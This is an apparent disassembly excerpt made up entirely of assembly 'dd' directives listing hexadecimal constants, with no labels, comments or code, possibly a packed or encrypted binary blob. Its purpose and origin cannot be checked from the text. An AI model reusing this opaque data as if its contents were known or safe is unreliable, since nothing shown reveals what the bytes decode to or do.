		dd 0CAE3C801h, 8141E835h, 0EB2E34B5h, 0FF85E130h, 0D803093Fh
		dd 9F5B3D80h, 0D641A4h
		dd 92917032h, 8B516090h, 0FD5AC626h, 5E70BBE0h,	90500961h
		dd 72D4BDB3h, 689DE198h, 6D4805C2h, 815250E8h, 2FE39F15h
		dd 0A748BE97h, 882F4644h, 259EF36Ah, 1810584h, 17B1BB3Dh
		dd 7FF02F66h, 0DC04A7FAh, 0F30A0FCEh, 0FFC2C7E1h, 0E2702745h
		dd 0D2E0024Ah, 8E19A5D1h, 9140AD56h, 0F2A8D7h, 1EBCDC7Dh
		dd 0FD023D8Bh, 69BD7E00h, 605027B5h, 5BBF3989h,	0B399F92h
		dd 35FDFE16h, 381A9C42h, 138E0042h, 0F8A24C03h,	70E91214h
		dd 0A4E1E702h, 93BEE9BAh, 1D9071EAh, 0F6AE042Ch, 0A671A44Ch
		dd 6CF090B3h, 128CE4A1h, 0B3DA8A9Ch, 53A25A89h,	0C20EEAA8h
		dd 492E1EE9h, 0EF98F745h, 0FA5E8BFCh, 0BFD640F8h, 281CB04h
		dd 0BC4FFDBFh, 0A23202E5h, 870840EEh, 20C8045Dh, 3BF38101h
		dd 704AD5FDh, 5B4AB35Eh, 12AADBECh, 0B70ED32Fh,	98B012E2h
		dd 0FFB4E8Bh, 0C4D6A7A7h, 0B85DED1Bh, 0E8555F2Ah, 1F3EAE67h
		dd 60F7A80h, 87EB6E8Dh,	60BB604Ah, 0A4B4CB96h, 2D79614Dh
		dd 0E4825910h, 11C5400Ah, 4A8DDE3h, 0E8A9AFD8h,	6465ABDCh
		dd 4DAB54ABh, 0D6584B49h, 0B694A48h, 0DA0E705Fh, 0F746222Fh
		dd 0CF85D200h, 0F6ADE321h, 0F5DD021Eh, 9B9D971Bh, 55AC09DDh
		dd 0BF31FEA1h, 43DBD0CFh, 0CE585A38h, 0AD28BC6Eh, 1C1775E4h
		dd 2D5DBD23h, 0C0E9547Eh, 0CF615BA1h, 0A617DAE8h, 0B3AFE019h
		dd 390901ACh, 9589E86Fh, 7BFEDEF5h, 0FCF771C0h,	421A0072h
		dd 0EF3FBBEBh, 0A816528Fh, 2AEBED27h, 3DC580A4h, 0F133086Ch
		dd 0AC80363Ch, 7F58F1A3h, 737E5B00h, 0B5D6F54h,	2AC90E25h
		dd 497C491h, 0BF2DDD65h, 0DF804BA9h, 79E85CB3h,	5582D125h
		dd 0C7D61F18h, 5B1F7D2Dh, 1817D9C3h, 0D3890964h, 1359F8F2h
		dd 130E3147h, 1CD6FEEh,	2703DCCAh, 79CEE99Eh, 0E4509A3h
		dd 5FEB30DCh, 0DEF26F35h, 6AF0C085h, 890088D9h,	82CE791Fh
		dd 12A9BFFEh, 6F7E5EB3h, 0D0EE28B2h, 85C0C8BCh,	7EBD2B38h
		dd 91F19579h, 90457C2h,	8DF4B057h, 0E31E5AF9h, 193E8ABAh
		dd 25117827h, 125BEAB5h, 7CAD98DBh, 2F060391h, 0BD8D0166h
		dd 0C431B99Ch, 0BCAF5153h, 245B8EAAh, 0D2BC840Fh, 2B53B0A7h
		dd 0C17345FFh, 79111B00h, 0E726838h, 8D58123Fh,	3EE6B180h
		dd 0AB060A7h, 0D8906E62h, 0CE1DF925h, 0BB500271h, 7B484EB2h
		dd 7B5753CAh, 0B0327231h, 642578F6h, 73ED9D52h,	120845E0h
		dd 9F2104B3h, 0B23D5A9Eh, 0A7007AE1h, 94D76D4Dh, 17CE4EAh
		dd 0BA0BFCFEh, 6B3A4243h, 674CCCA3h, 0EA020116h, 95EC2C29h
		dd 0B2104AA9h, 0B0A6D3F5h, 1DDDF6A0h, 96D883Fh,	8B3656A7h
		dd 0AD46DE1Ah, 0B85691E2h, 0D682B362h, 1946D6DAh, 0F43A0801h
		dd 21F1756Ah, 0ABA82A89h, 0A6C28316h, 0BBEDF05Ch, 49C4B529h
		dd 3D78FCB3h, 9540265h,	0B2BFF11h, 9D8AFE5Fh, 2FA5898Bh
		dd 0B78BB773h, 554B5C56h, 0AF654606h, 1C2D2764h, 1CF9FFF1h
		dd 0E004E18h, 217E9903h, 9049857Ch, 0CA6AE927h,	0DA313FADh
		dd 6B5E61E9h, 1F1C2379h, 50F0588Dh, 5043FF1h, 859D89B9h
		dd 608139D2h, 0E1A31048h, 44103428h, 0C2DAD3CEh, 184C2181h
		dd 0C165D179h, 6E92CE31h, 0E86D9656h, 0E33B0CDDh, 0A71B8816h
		dd 963247Eh, 8D538D85h,	941534BFh, 4DD40BCDh, 74B587D6h
		dd 0C0529EBEh, 1AB31D96h, 0AB3A97F9h, 0FD410FCh, 0A62612ADh
		dd 0CD75F7E0h, 0E0993D3Bh, 3CB880BBh, 7DA6EDEBh, 9C810068h
		dd 3002CEF9h, 4234D426h, 7BBFD1D5h, 0F2D2002Eh,	6EA5D4CFh
		dd 96311493h, 7816F837h, 0D16DB90Ah, 80F3AD97h,	4B518366h
		dd 2DF98A5Bh, 0D850F362h, 0B32583B5h, 1DB57D5Ch, 86601D12h
		dd 711B1Fh, 0D93A7796h,	0F8EF2378h, 0C636C1BDh,	0BC23D82Fh
		dd 69634B00h, 0FE41F5E3h, 0D01412EFh, 0D344F386h, 0D080EADAh
		dd 6B3BF6B0h, 3168EC02h, 0B0945BDh, 9EB06DF1h, 4A90E9FFh
		dd 9F9BEFF2h, 0B755ECC2h, 295528E2h, 2DF10236h,	0B98B0707h
		dd 60946579h, 346518B6h, 38B7FC0Fh, 0A6CA6133h,	59AD4B11h
		dd 0C906B1B8h, 5FDF793Eh, 0BB294B42h, 52AD7956h, 0B40022E8h
		dd 1F889FFBh, 60FE256Eh, 382FD4EBh, 8A250619h, 5E71E2DAh
		dd 8050DCBBh, 2540A599h, 0C6BB0790h, 0F01BB5ACh, 5F5CB960h
		dd 52180D01h, 5E10BA66h, 2F9061C4h, 2DE5800Fh, 0A1225400h
		dd 10F3BCAh, 412E8BB1h,	2E4623C1h, 9DD05D1h, 12018948h
		dd 0B81B799Dh, 0E59AB50Ah, 5AF5A8D3h, 169C1C8h,	0CAE0D2A9h
		dd 0E0383034h, 0EB125B3Ah, 8EF3E412h, 0ACE6815Eh, 40F42FC8h
		dd 9EBF04D1h, 0BC5E26E6h, 77AAA24Fh, 41608DEFh,	1897C623h
		dd 7D95C29Eh, 6A24D425h, 7DDE1102h, 0ED57090h, 1E7EECC1h
		dd 0BCF522C7h, 0E3A2DACEh, 6BE4CC5Fh, 73440E61h, 0CBFA9B00h
		dd 305E1AE6h, 6254F22h,	31D98A19h, 20BF4CC2h, 6FE5DDCCh
		dd 0F7E5DD52h, 0F2EF8912h, 71AA2571h, 3839C265h, 2D09220Ah
		dd 1EED772Ch, 0C0EAD8E0h, 9ADE2586h, 278745EEh,	0B8B7CE0h
		dd 489F27BBh, 31216C6h,	764AB59Dh, 501DA690h, 30F6F812h
		dd 8A10A350h, 0AD404174h, 2F6857FFh, 485CD81Bh,	70FA4B3Ah
		dd 2691BDD8h, 1137FD97h, 22601912h, 1780BED1h, 0FC7A65A3h
		dd 8D010651h, 0C25417E5h, 0FF6AFB82h, 308146E0h, 0E152D84h
		dd 4F447E59h, 0D355C853h, 0AF5FA700h, 6071BDD6h, 0F68800E0h
		dd 8A90FC3h, 4891E2A6h,	61B76B82h, 1A905DDCh, 0B05A5B5Fh
		dd 34004EA3h, 278B586Dh, 0B0385D6h, 0A449C6EDh,	0AAE08872h
		dd 89251641h, 9E5E99Dh,	370E65Bh, 10735963h, 0C085D1Ah
		dd 125771E4h, 5F1040B9h, 0EB3AA497h, 4DB5C55Fh,	9FD8EF07h
		dd 4E034357h, 694484CDh, 0A8753FAh, 17AA6042h, 0C54C00F1h
		dd 95316139h, 0E412ED25h, 0FE90BD56h, 3800872Ah, 0D5926D76h
		dd 0F025D80Eh, 0BAEF0B84h, 0A9DF16DFh, 976D7025h, 2B4510F7h
		dd 0D38103C8h, 4DDBFB93h, 0DE90D1F3h, 4DA086E9h, 16446995h
		dd 6660B585h, 3C09BF49h, 5C4A56B6h, 0C9EB4165h,	2538162Bh
		dd 65710275h, 310F1191h, 0FE95FDB5h, 62505124h,	0B9D52405h
		dd 0A27A09C2h, 0F0A15AC0h, 0F85A122Eh, 0ECA5DE44h, 0BE82256h
		dd 25083E1Eh, 513DA800h, 98CB1C6Ch, 0A2F96471h,	5B614601h
		dd 126F8310h, 0F233A98Ch, 0AC0B8462h, 0C4903016h, 5300D9F7h
		dd 0ED90F2CDh, 2D19D0ADh, 0FCF36A03h, 0C94AE778h, 4A79D9EAh
		dd 82DB8080h, 0B51037B9h, 0A341ECEFh, 357057CAh, 85074121h
		dd 18DD8DFAh, 1D6D25ABh, 0FB1212DBh, 0AD4BCCh, 2132AAB3h
		dd 780E3568h, 759A3E00h, 0EFE31BA1h, 274A16A3h,	590AF0FCh
		dd 4AB85438h, 0A6ECC6A9h, 496C0C0Bh, 617F5652h,	1E01719Dh
		dd 0D1B03746h, 6732A53Fh, 526564A9h, 4F15EC0Ah,	0E86AFD26h
		dd 5FFA18C7h, 24A94A98h, 97BCB380h, 0E4556E92h,	0C1F800FBh
		dd 0D1B08134h, 2728DAFBh, 5520D74Fh, 125F7702h,	0F73075B5h
		dd 90BC5B59h, 6EC0C7h, 94CA40A0h, 3FFCB901h, 51617644h
		dd 8317DC2Eh, 2CBFF89Dh, 0F6081055h, 0C79DAB02h, 75F4534Ah
		dd 735C4342h, 429ED56h,	407B2D00h, 0A6545CDFh, 0C6AB3602h
		dd 826CECEFh, 405019Bh,	0FB05FE5Bh, 80211345h, 610215BDh
		dd 72515F5Eh, 0C4C09E7Ah, 6580B758h, 92D1F70Ah,	8B3DBD67h
		dd 33F1AC80h, 0BF8D0F78h, 544B464h, 0AEC00482h,	0AE2B341Fh
		dd 955BDAF4h, 0A121D1CEh, 9891E34h, 78790D7Dh, 97A1F5C6h
		dd 0AE262705h, 0FD34DCCEh, 0E09BAB26h, 0CCE001DFh, 2EC53ADBh
		dd 0E26412BBh, 96958E84h
		dd 2EE988BDh, 2E4A4544h, 206AC2FAh, 0B9ED060Bh,	0F660580Dh
		dd 0AC15BAC0h, 3A005B8Bh, 7DC95E45h, 7ABF4E1h, 605F12DCh
		dd 0BD7839CEh, 831F37BFh, 962ADCE3h, 0DD5EAEE2h, 0C0B6CD27h
		dd 72C9DD8Ah, 0ED04A54Ah, 0F9BDEB4Ch, 0DE016C12h, 20098E1Ch
		dd 0B94A35BCh, 7A22989Bh, 3553959Dh, 4C181579h,	660960E2h
		dd 7FCEBBB9h, 0D8719989h, 51DF8084h, 0BB0398EEh, 0EA638900h
		dd 4EBF5035h, 418F2D96h, 27DEBBFCh, 0C105DF16h,	0F96FBA6Ah
		dd 31B9E000h, 36410DCh,	54BD9D25h, 0D88B7852h, 0DF755073h
		dd 5FDE4BDDh, 529498E7h, 8F9800B0h, 0C6EAAE65h,	0E02CF448h
		dd 184B3ADCh, 702B4Ah, 30F956B0h, 3DAF0CB7h, 0FACE5E60h
		dd 2E2B585Bh, 0A5D19DBDh, 279FB575h, 33163330h,	17E59709h
		dd 0E2F966h, 0CBDD2CA8h, 899FE753h, 11B555DCh, 758B1491h
		dd 240B7F0h, 0A2549D8Bh, 129E984h, 4B7D46C8h, 0C8B5DB31h
		dd 163C114h, 2A1EC585h,	0A24F29E7h, 4E6C0076h, 4F44C128h
		dd 862000B8h, 5FDD983Eh, 624B6145h, 7980C7CCh, 989A97EBh
		dd 0B6D4E6D7h, 198427DFh, 6B80F179h, 9DB414B6h,	89E82B6Fh
		dd 0C494F996h, 80BDD676h, 4699D2Fh, 805A3C50h, 67A3BA6Bh
		dd 0AB213B07h, 85377C9Eh, 0E0381B88h, 0BD38010Ah, 0BFB65A2Dh
		dd 0F83015F2h, 8531155Fh, 6800E261h, 0DEDA789Ah, 0EA13EEBFh
		dd 77B01AA5h, 5969065h,	0B1852921h, 0A1B6A40Fh,	2DD2B4Bh
		dd 0DF121998h, 0ACB457B3h, 86028924h, 0D511B4C5h, 105988B8h
		dd 4BB77D8Ah, 67CC5625h, 6136612Ah, 2E6FED80h, 0A66BA82Dh
		dd 0FC8A818Ch, 7DC23FE9h, 2700BD3Dh, 0E72C2AB2h, 95049AB7h
		dd 7BD2829Dh, 2BDE5040h, 3F01D871h, 7F136A22h, 0C13051ECh
		dd 5B0740A1h, 0AD257890h, 0E5EC710h, 0BE12045Ch, 0D480DB9Bh
		dd 974BF0CAh, 368ECD1Eh, 5B282864h, 697C9C95h, 5B7F6E25h
		dd 0F1777808h, 6F0131B0h, 0CE0AE012h, 35100BE8h, 86002BACh
		dd 78802DC7h, 16233C30h, 57E19501h, 93FBFD01h, 550E5449h
		dd 0B59D9796h, 0FE470055h, 0EC9E1995h, 21962D77h, 0A9EB2444h
		dd 666F1310h, 0BB0017AFh, 0D5FB8762h, 1691B2B5h, 0BE178A85h
		dd 23C987C1h, 0EFBB9600h, 68F0C524h, 0F38B6007h, 0ECAF5244h
		dd 9661A1F8h, 53B88439h, 800FD917h, 0D0BF4F20h,	27752B68h
		dd 0E3F512B7h, 17893BBAh, 28BF09E5h, 0F922850Ch, 1DBD210Fh
		dd 0D3C48609h, 96E8DB9Bh, 0CC5E1B6Ch, 1BB2B7A6h, 2E83130h
		dd 2CDE40F4h, 44D7993Bh, 6375000Dh, 435F2B73h, 0BB008391h
		dd 956A9457h, 4B6548ADh, 0BD7D84B1h, 0B8DCB84Fh, 0D9769D68h
		dd 0ED7F6225h, 0FBF7C0BBh, 7A3E92F0h, 6CF9CE8Dh, 0EE5D8789h
		dd 35F90084h, 1384DC65h, 620214D1h, 4DB50988h, 65CE7725h
		dd 13CDBB5h, 317E6FDBh,	30AAA628h, 0C46B00DEh, 0DFA7538Bh
		dd 0A83C277Dh, 7CD827A2h, 2AB9E26Fh, 0D4EB715Ch, 509609D9h
		dd 8F3ED079h, 605BD74Ah, 0E266F1A9h, 0F4040001h, 6AD8FD4Ch
		dd 0CE07BF52h, 5F3DA092h, 15B99615h, 43B83DB8h,	6BA351BFh
		dd 316038F4h, 971CCD8Dh, 4DB53216h, 0A72A4009h,	76753F0Ch
		dd 0A3884824h, 0F6130D09h, 8A1BC07Bh, 0FE2A3946h, 0FD959E97h
		dd 0AB5F5985h, 6AAE8575h, 98F53F2Bh, 9558F9D9h,	0C71C9702h
		dd 7EBF2A44h, 0E9474F37h, 930717B3h, 54F6B856h,	45A09AE1h
		dd 89C1DFA4h, 31D3738Ah, 4A1705CCh, 0A3C24BD3h,	0E76D5510h
		dd 0EF6318E4h, 0B4C04898h, 22F170C4h, 179AB717h, 79BFF9DFh
		dd 6CE63B17h, 0E3F93BA0h, 4CB68537h, 8D018908h,	95C5787Fh
		dd 9CD48ADEh, 30DFC971h, 4BF7982Bh, 592924Dh, 7CFB0320h
		dd 0A3B14B27h, 91CB4AAAh, 13FE8540h, 0BAF36EE9h, 0AEF059B6h
		dd 0CD5832DEh, 1E9D1149h, 2BD1BD09h, 0F12D79D7h, 4B23614h
		dd 0C58D2984h, 0A5EB50AEh, 0E6194616h, 0CA0F0E2h, 3D080B26h
		dd 3A19E071h, 28A0208Eh, 0FB3B6605h, 0EFBA74h, 244BEBFh
		dd 892C2AFEh, 584A798Dh, 0AB25BD0Ah, 0C456484Bh, 756FBD73h
		dd 0E96C7D49h, 75B50309h, 0BAD9D72Ch, 0C095378Fh, 92254A69h
		dd 0B270125Dh, 0C212CD8Dh, 0F9743875h, 28960E08h, 0B8409179h
		dd 0AD82975Ah, 0A3867F0Eh, 0EA2C8453h, 0B74A88A9h, 0B3BEA4ECh
		dd 0B5890446h, 0EB8819A1h, 91B386D9h, 0FAE92A58h, 0D23C0CDFh
		dd 0D5E7173h, 18AFB199h, 1C08B4Eh, 5C15F4EBh, 0C0FAC2AFh
		dd 660067B0h, 0C7888779h, 1E81D82h, 0D0CD4EAAh,	0C82DA28Bh
		dd 5600193Bh, 0DBD3F8F7h, 647875h, 4DD1B549h, 62E58C1Fh
		dd 0DF34E0Fh, 9CD9E057h, 0FB9D96h, 0F6895201h, 0AE3AB758h
		dd 0B888F900h, 9BD398Ah, 4103A6Dh, 9BA0ACh, 83696A3Ah
		dd 363F6B65h, 0DAA60077h, 828F4DD8h, 0F54F005Eh, 26758D76h
		dd 1B00D65Ch, 0D447D5B2h, 0E82EB7FDh, 0DCF00ABh, 0A42D6832h
		dd 0D3198F48h, 370818ACh, 2A6B2180h, 8EA76668h,	5F5070Fh
		dd 0E297203Dh, 284E5B3Eh, 8C61A4h, 64A0DA39h, 0D5BFDFF0h
		dd 0FE59EA1Dh, 408318B0h, 0C1D4032Dh, 0A8BC7ECFh, 8B0010A6h
		dd 222FEE2Ah, 0EED8092Bh, 0B208CC13h, 0EEFAE821h, 33D5E224h
		dd 0B7428C3Ch, 0CB992Bh, 344CDA64h, 9F87CD0Ah, 96F53301h
		dd 0E3AA11A8h, 0B12D1443h, 50BCD526h, 31A05806h, 0D33C2086h
		dd 0E80E0F1Eh, 19B883ADh, 3E19088Bh, 5A0926A8h,	0CEA600FEh
		dd 0C08245B8h, 0BA6B5F20h, 8D1EB4D9h, 429FDDC8h, 0B10EF480h
		dd 0BCFD2Fh, 12484C15h,	4E0B663h, 94EBF500h, 95794188h
		dd 3952007Ch, 0AE5D1CC3h, 0CC00D94Ch, 3B22D1B2h, 7C041D3Ah
		dd 1CC50049h, 0BF9175DAh, 2A006584h, 0BD128573h, 0F4EEA020h
		dd 0F902047Fh, 87A4C2C1h, 3252C00Eh, 58C71D45h,	1A20E744h
		dd 6FB442A7h, 0F98050BBh, 5164F1EAh, 0CC2AE900h, 0E1AFAE4Eh
		dd 0D9461D95h, 5D88F074h, 4B7441BDh, 670B0580h,	813740AFh
		dd 805E0497h, 6087DA1h,	0C02D476h, 0F2DC20E1h, 21CE4808h
		dd 6091Fh, 0A37AFE10h, 0CA2B00C8h, 284BD676h, 0B40C491Eh
		dd 31560555h, 6CFE00FBh, 0B744EF17h, 0FD3C8C38h, 693B804Ah
		dd 18CD159Ch, 0B56F18C5h, 9ECED1B1h, 3706DF00h,	2F594099h
		dd 0C808CC81h, 9600F121h, 97630FDFh, 1D9E09C2h,	0D048CE90h
		dd 80AE3CD6h, 0D5D040DBh, 8C19E6h, 4E3F988Dh, 2E2DF7D7h
		dd 6995A000h, 7968C4BDh, 222C2AACh, 5992008Ch, 408DF511h
		dd 0DC0A4606h, 1043BD71h, 93B79D00h, 0E410B7Ch,	3B15CD39h
		dd 0B4188D81h, 77A181B6h, 56A5B21Dh, 146C5E80h,	0AD6B5544h
		dd 3CA0CA15h, 0F2D43C8Ch, 46982950h, 0E154DD00h, 0C244A958h
		dd 649C03C3h, 0DFA1CA97h, 3374310Ah, 2C9CB084h,	2BBF9170h
		dd 0AF4F0064h, 540AD4F0h, 9E014CB3h, 0B585346Bh, 0ECF81CA7h
		dd 0BC0424D1h, 765E0104h, 0FFD4B14Eh, 6FDE1007h, 0C04A2BC0h
		dd 0F57ABD40h, 55E706DCh, 88391E67h, 1E3B6344h,	7ACC032Fh
		dd 101B488Ch, 0D001A5B0h, 5B30EE7Fh, 0C457C666h, 84BC1B72h
		dd 9C606DF0h, 372304DFh, 0EFC43F89h, 3C009448h,	0C69CC1Eh
		dd 0F8493863h, 0E22B05A4h, 40212C86h, 5513E180h, 0D000EF15h
		dd 4464D96Bh, 7A948B4h,	22DCF7A4h, 0AE4620E5h, 403BE15Ch
		dd 47B06075h, 2C2C6F92h, 0F6C6C1Eh, 0C1C2DEE4h,	9B602865h
		dd 0F66041D1h, 0D33BD040h, 0EE58C066h, 0C097DEEBh, 39F90F03h
		dd 995D8605h, 91801F2Dh, 9A71023Ch, 0D20C21A5h,	8199DC1h
		dd 6321C031h, 3DEC710Ah, 9246BC90h, 7B060D02h, 1C2AD4h
		dd 0ED06051Ah, 3A7F14B7h
		dd 501839F4h, 0A7D057C9h, 40C8A09Eh, 0C8C77816h, 6C00198h
		dd 0F7A59E71h, 5F883218h, 2171010Eh, 47BD6F3Ch,	2B198528h
		dd 0CC42B4DBh, 0A04550B7h, 85DC82A0h, 0D4E00570h, 547AC3Bh
		dd 0FCD94ED0h, 9A2203CCh, 1B2C9033h, 50899118h,	0CBE82010h
		dd 1A1DF884h, 0A15B4361h, 2022960Bh, 9E7AE500h,	79904C0Ch
		dd 6044B219h, 2180DF08h, 0E59E7283h, 4B006E40h,	524DCB3Ah
		dd 1FA73B65h, 8A70ADA6h, 9188C24Ch, 71038004h, 8729A59Bh
		dd 710B6200h, 72723E67h, 6CF206BDh, 0B024B863h,	84B13A09h
		dd 0A5F0AFB9h, 0E818B3C1h, 80D72C18h, 2E006ED6h, 0ED99F510h
		dd 3FE30Eh, 0BC095C92h,	0A2C67CFh, 126CD300h, 0C5DA6FAh
		dd 7EB00028h, 0AD7157B4h, 0DD00BB17h, 5FC68CA7h, 1D4B9F07h
		dd 0C026B095h, 0A5DF7C59h, 0F73AD850h, 6B20614Ch, 0C2F44431h
		dd 9BEB0CD4h, 38081CCAh, 298821C0h, 72A1E44h, 0C6AE82A0h
		dd 498BC067h, 0EE6072DDh, 969F09CAh, 22841C5Bh,	951B4066h
		dd 4F0ECC4Bh, 47E57C03h, 1F5C4C27h, 0DFC250h, 825E3787h
		dd 0F9017D02h, 0AD109519h, 97C847CCh, 208D60EAh, 20386B07h
		dd 0C420D453h, 0C461FC8Ah, 4DCBC3A8h, 80C5C13Ah, 0D57DC06Eh
		dd 20B6160Bh, 98C009EFh, 1F204B71h, 3080E998h, 0CF9D73BFh
		dd 0D8988716h, 83091E66h, 7B5F0021h, 0F985039Dh, 0C100657Eh
		dd 0B6407673h, 0C01A1FC6h, 0C7833E58h, 1230F75Ch, 9B5FA880h
		dd 1ADC3A40h, 0D06486Eh, 0A905A146h, 0B8423CD3h, 4BB6A804h
		dd 0D2E03059h, 78819D07h, 118004B8h, 310C7CE7h,	670C637Eh
		dd 85B865Ch, 0C821C019h, 7F40C44h, 97420D06h, 2A88B1F2h
		dd 0CFCCB1Eh, 0E5BBBE10h, 0B4F096B0h, 87524B00h, 8AE79ACCh
		dd 69A41435h, 29239009h, 0D09D7001h, 8B188F16h,	7785488h
		dd 0D08C8D9Dh, 0BA12D19Ah, 1008205Ch, 51C8A06Fh, 350C4080h
		dd 448C437Eh, 4860C40Dh, 94E537E8h, 0C896004Dh,	9AF949CAh
		dd 7C126546h, 38400A02h, 1A50E5A9h, 8B613D0Bh, 0BEB691E0h
		dd 0E8CB08CBh, 0B82788D3h, 90082C12h, 0FEB88C7Ah, 39009371h
		dd 98CB1F63h, 0ECE7EC0h, 0D0ABC475h, 0BC8CA80h,	60CA4D99h
		dd 1682A47Ah, 0DC63CEh,	658E9A7Dh, 3001E0A3h, 407F9308h
		dd 0E44CC1DFh, 42048C76h, 737E370Ch, 0CA201862h, 12A0C4Ah
		dd 0E5E3DAD5h, 8734129Ah, 52931F60h, 8871C83Ch,	0E3A6D3Eh
		dd 67860332h, 225C5049h, 0E5586120h, 5D43184Fh,	24E74C10h
		dd 0C8446h, 50D1C47Ch, 89069E06h, 2344073Ah, 704B0E29h
		dd 0DB60D8D0h, 0D347BBB3h, 6908CB66h, 0E2197F21h, 3FD60141h
		dd 368FC22Ch, 6C589798h, 0A2BA3000h, 1FEC612h, 0DB49849Ch
		dd 0BC352A8Ah, 0B8FB9DC8h, 9846F130h, 62377755h, 902A487Eh
		dd 0EC21D005h, 3044D6Bh, 0A786A9CCh, 70051799h,	0F260DFFAh
		dd 722E6C49h, 307B82Fh,	0A2A95E93h, 1B80CA70h, 0B8D252C3h
		dd 0C2D68408h, 54C1442Bh, 22843624h, 238A0536h,	80201D44h
		dd 8BB6101Dh, 0DB0A2C92h, 0FC30BE9Ah, 7D0C4259h, 0EC41508Ch
		dd 0FC58FF7Eh, 49C5881Bh, 1EBC0C09h, 58642088h,	51C659h
		dd 0D116F769h, 36977913h, 75016398h, 0A64DEB15h, 0B8D16787h
		dd 50C01AC0h, 8CDA7450h, 42443704h, 3362C4C2h, 442F8620h
		dd 0E3C60B8Bh, 8F04FB22h, 1080942Bh, 8A1AC4D4h,	1041997Fh
		dd 8721823h, 7F16CE9Dh,	5E4086C4h, 6EC29D7Ah, 0E6A2BB02h
		dd 486D2217h, 0FD0A24h,	1D251AFh, 33CA940Ch, 0F348F404h
		dd 558095BAh, 0AD820C0h, 4A3A1EA9h, 9E2E1140h, 16D19D42h
		dd 409C3397h, 29D7955h,	0DA70FFEh, 5382DDB2h, 94841D06h
		dd 443560D4h, 34C22340h, 8C0E3711h, 0C507442Dh,	21205ACh
		dd 0AEAFCB1Ch, 0BB2A784Ch, 0AA3EECFFh, 0B3A900B1h, 30F46378h
		dd 0D978C8CFh, 7D4436C0h, 22CC46C2h, 2E89002Fh,	4EA44A44h
		dd 0E502AA13h, 0C68E1F9Ch, 2C704190h, 58829A4h,	85B6B02Eh
		dd 0D05402A8h, 4C41F7EFh, 9D0214CFh, 61B45F93h,	82142714h
		dd 0CE304E00h, 0DB7211D8h, 807788C3h, 3D8D613h,	0CDB05DA0h
		dd 0FDCCF104h, 488132F6h, 98892D48h, 0BC1F50FFh, 0F9823711h
		dd 0FD8131DDh, 0B80AE153h, 13E5C4B0h, 233E0E72h, 0ADC5E8Ch
		dd 4A916836h, 6ED8D280h, 448CA3DBh, 0DA001F74h,	8EC085D8h
		dd 10C642h, 0D36326AEh,	72189C36h, 3C88F949h, 436620FCh
		dd 12D23B7h, 16CC9D74h,	898A186Fh, 4A9DEC58h, 1522981Bh
		dd 94680081h, 0B01031BEh, 826C7B0Bh, 55F6E030h,	584EA45Ch
		dd 0BD00E39Eh, 0AAE005ECh, 0D8B00054h, 0C5BCD575h, 5352D341h
		dd 468208A8h, 7B0F003Bh, 0BEA8A7E0h, 7811B726h,	311A7A84h
		dd 97817E0Fh, 703250BFh, 0B50012C8h, 0D3950E20h, 675DA7Dh
		dd 0D68A5D98h, 0B0703038h, 991E9300h, 0D757595Ah, 10BECCCh
		dd 824E9656h, 8326EE2Ah, 78E7BE40h, 0DC581C4Fh,	0ABB47CCh
		dd 0CE28B5E8h, 0C00E8824h, 9FA6B3Ah, 100A4303h,	40BFBCEh
		dd 8E92E5D0h, 44F60548h, 0BA5B9840h, 7B3941Fh, 87B89034h
		dd 50B69E23h, 1681F844h, 0BA0CE7AEh, 9C7A0848h,	1A0C2C7Eh
		dd 0DC6019B7h, 27804D52h, 80D0914Ch, 0D3299C31h, 0DB3A2A54h
		dd 0D65F8248h, 67DF7CB6h, 602F44DCh, 73A5F9Ch, 0C93D1BB2h
		dd 0F8045999h, 0C17D4005h, 25AE47D0h, 0E03D8B35h, 44BB3608h
		dd 20426BD2h, 99FC7511h, 2818D7F8h, 0C223447Ch,	32111Ch
		dd 8C44208Bh, 90555F2h,	3A833C40h, 81E4EC45h, 0BF908363h
		dd 7500304Eh, 102DE5FBh, 671E330Bh, 7470298Ch, 0E2CCA562h
		dd 301E0498h, 6D07EC94h, 5FD77D71h, 423D26F0h, 74C9005Dh
		dd 8CF139ABh, 0D0000E93h, 0C7F69CB3h, 0F0B8D1h,	951C410h
		dd 0E169E22Bh, 0B3E40370h, 0BE815700h, 4A1E903Dh, 713200BAh
		dd 4CA21710h, 8673EF38h, 318CD405h, 9500955Ah, 0FB5E42D7h
		dd 1865008Ah, 5F3767B5h, 4A0049BEh, 0D5814730h,	5CD96B10h
		dd 4600465Bh, 0E9443B04h, 793E7576h, 8B8D0024h,	60B381ECh
		dd 4F51017Dh, 0E2D2BE13h, 88C860DFh, 39611812h,	1F6C700h
		dd 38A72A3h, 0D4405A25h, 0A5CB71D2h, 262D1B88h,	2F920200h
		dd 0CC6241EAh, 789F01CBh, 0BF9C0610h, 0E0E8D4D8h, 31F46630h
		dd 30D0D377h, 0C71144D6h, 2C00F3E3h, 0B3E74EE8h, 0DAA682h
		dd 0FAE29530h, 8E7E1307h, 0C512700h, 6D365BC7h,	19F4ACh
		dd 0A0E3C129h, 7DD83FA3h, 57D3CA0Fh, 6AB88142h,	0CF80225h
		dd 0A81F000Bh, 0CE81F53Bh, 0E800F836h, 0D409C7FFh, 0C3A004h
		dd 454ADAC8h, 7A564C4Eh, 53C5EC00h, 0AA112855h,	8AA302C2h
		dd 9567458Dh, 5E418080h, 0F000CFC0h, 0EFAD5185h, 17CC7Ch
		dd 7DD21284h, 572ADAFDh, 2000E8E2h, 0EF97C305h,	928FE18Ah
		dd 74C00628h, 50813F94h, 9070B802h, 40DAD64Bh, 0FCA84AF9h
		dd 0E8951CF9h, 0EB60F0EAh, 9130DCDDh, 3310119Dh, 0ADA122CCh
		dd 0B5232000h, 0E1E70272h, 8AEC0CBFh, 3B714A1Bh, 0A4A9390Fh
		dd 275A8348h, 70809849h, 564206E2h, 49B1A5D0h, 0D3372C00h
		dd 0ED6AFDCFh, 528A00F1h, 60589425h, 0B0C0BD03h, 0BF556784h
		dd 3CE0A009h, 0A36C0054h, 0E0B796EDh, 0C900EA18h, 9260FED2h
		dd 12E559Ah, 31633E82h,	0E8FA38A8h, 0DB001B95h,	0E11F1DBBh
		dd 2A9FE8h, 0ACBAD2E4h,	0DD08416Dh, 0C1B63Dh, 0C371E65Ch
		dd 74B316h, 0BDE7918Ch,	9A0731A0h, 2000C0F8h, 0E6E2E5FEh
		dd 3D3D61Bh, 1A014837h,	0A8C83052h, 0DBF6FC87h,	439FAC0Eh
		dd 0BD6260E4h, 50DEB0D5h
		dd 44A294B1h, 39731474h, 0CA46AA01h, 765549C0h,	6441C4h
		dd 4D02A674h, 0ACD08E5Dh, 963F6705h, 0E408AA40h, 0D14463DDh
		dd 38402EC2h, 0C3001986h, 9B7E6CA3h, 9644F66h, 65777B7Fh
